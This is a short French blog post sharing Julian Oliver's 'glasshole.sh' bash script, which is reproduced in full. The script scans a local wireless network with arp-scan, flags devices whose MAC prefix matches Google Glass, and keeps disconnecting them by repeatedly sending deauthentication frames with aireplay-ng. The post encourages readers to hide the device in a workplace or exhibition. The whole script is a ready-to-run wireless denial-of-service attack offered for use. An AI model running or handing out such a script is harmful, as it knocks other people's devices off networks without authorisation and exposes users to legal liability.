Détecter et banner les Google Glass !
Je vous propose de découvrir le script de Julian Oliver, baptisé Glasshole.sh, il est capable de détecter la présence des lunettes Google Glass sur un réseau local sans fil et de les bannir, très utile, si vous ne voulez pas être filmé ou photographié par son porteur !
Pour exécuter ce script, vous aurez besoin d'une machine tournante sous le système Linux, genre Raspberry Pi avec une carte réseau sans fil, la suite est tout de suite
Détecter et banner les Google Glass !
Le script lance un scan ARP sur le réseau local, récupère les adresses MAC des machines du réseau, si elles appartiennent aux Google Glass, un bip est lancé, puis le script force la déconnexion des Google Glass, le script continue à tourner en boucle pour empêcher les Google Glass de se reconnecter !
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | #!/bin/bash # # GLASSHOLE.SH # # Find and kick Google Glass devices from your local wireless network. Requires # 'beep', 'arp-scan', 'aircrack-ng' and a GNU/Linux host. Put on a BeagleBone # black or Raspberry Pi. Plug in a good USB wireless NIC (like the TL-WN722N) # and wear it, hide it in your workplace or your exhibition. # # Save as glasshole.sh, 'chmod +x glasshole.sh' and exec as follows: # # sudo ./glasshole.sh <WIRELESS NIC> <BSSID OF ACCESS POINT> shopt -s nocasematch # Set shell to ignore case NIC=$1 # Your wireless NIC BSSID=$2 # Network BSSID (exhibition, workplace, park) MAC=$(/sbin/ifconfig | grep $NIC | head -n 1 | awk '{ print $5 }') GGMAC='F8:8F:CA:24' # May change as new editions of Google Glass are released POLL=30 # Check every 30 seconds airmon-ng stop mon0 # Pull down any lingering monitor devices airmon-ng start $NIC # Start a monitor device echo ' ___ _ __ __ __ __ __ / _ \___ ___ ( ) /_ / / ___ ___ _ ___ _/ /__ ____ ___ / / ___ / /__ / // / _ \/ _ \|/ __/ / _ \/ -_) / _ `/ / _ `/ / _ `(_-<(_-</ _ \/ _ \/ / -_) /____/\___/_//_/ \__/ /_.__/\__/ \_,_/ \_, /_/\_,_/___/___/_//_/\___/_/\__/ /___/ ' while true; do for TARGET in $(arp-scan -I $NIC --localnet | grep -o -E \ '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}') do if [[ $TARGET == *$GGMAC* ]] then # Audio alert beep -f 1000 -l 500 -n 200 -r 2 echo "Glasshole discovered: "$TARGET echo "De-authing..." aireplay-ng -0 1 -a $BSSID -c $TARGET mon0 else echo $TARGET": is not a Google Glass. Leaving alone.." fi done echo "None found this round." sleep $POLL done airmon-ng stop mon0 |
Source du script :
http://julianoliver.com/output/log_2014-05-30_20-52www.GeekPratik.com
Poster un commentaire